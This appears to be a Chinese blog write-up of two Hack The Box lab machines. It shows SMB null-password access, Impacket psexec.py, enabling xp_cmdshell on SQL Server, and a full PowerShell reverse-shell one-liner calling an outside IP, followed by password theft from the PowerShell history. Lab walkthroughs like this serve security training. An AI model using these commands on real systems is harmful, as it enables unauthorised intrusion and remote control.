HTB靶场:Tactits & Archetype(利用SMB进行Windows提权&SQL Server getshell)

Tactits

1. nmap扫描,发现SMB服务

2. 尝试空密码

root

Administrator

利用方法1:ADMIN$的利用:Impacket框架中的psexec.py

Impacket包含数十种与Windows交互的工具,适合攻击Windows和AD,其中最常见的是psexec.py。
psexec.py与微软的Sysinternals套件中的PsExec执行相同功能,使用任意用户凭证运行进程,能在远程Windows上执行交互式shell

先下载Impacket框架

git clone https://github.com/SecureAuthCorp/impacket.git

安装

python setup.py install

装pip包

pip install -r requirements.txt

利用方法

psexec.py username@ip

拿到Windows的shell

利用方法2:C$的利用,直接查找下载flag

下载到本机

查看

Archetype

1. 扫描

发现存在SMB服务和SQL Server

2. 查看SMB共享文件

发现root用户密码为空

直接下载备份中的文件

3. 备份文件中包含的信息

  • 配置类型表明配置文件是修改SSIS包(SQL Server Integration Services)的属性

  • 修改的是SSIS包中连接对象为Destination的ConnectionString属性

  • Data Source=.表明连接的是本地服务器,登录用户是属于ARCHETYPE域的sql_svc,默认连接的数据库为Catalog

4. 利用Impacket中的mssqlclient.py

涉及到域用户,因此需通过参数-windows-auth进行密码验证

5. mssqlclient.py的利用

查看当前用户是否具备管理员权限

SELECT is_srvrolemember('sysadmin');

得到1证明当前用户确实是管理员权限

打开xp_cmdshell enable_xp_cmdshell

还有一种较为复杂的打开xp_cmdshell的方法

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

测试命令执行

6. 反弹shell

Windows反弹shell方法一:下载Windows马

powershell -c cd C:\Users\sql_svc\Downloads;wget "htto://ip/xxx.exe" -outfile xxx.exe

Windows反弹shell方法二:利用powershell建立TCP连接,无文件落地

命令如下:

exec xp_cmdshell 'powershell -nop -c "$client = New-Object Net.Sockets.TCPClient(''10.10.16.18'',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> ''; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'

利用powershell读取文件(或者type命令),拿到一个flag

Get-Content "filepath"

7. 提权

Windows上的history,位于C:\Users\username\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\

这里的net use是用户Administrator在共享backups

拿到密码后,可以直接利用psexec.py

拿到root权限flag

本文作者:ki-playground

本文链接:https://www.cnblogs.com/hackthebox/p/18530644

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   柯ili  阅读(23)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· DeepSeek 开源周回顾「GitHub 热点速览」
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.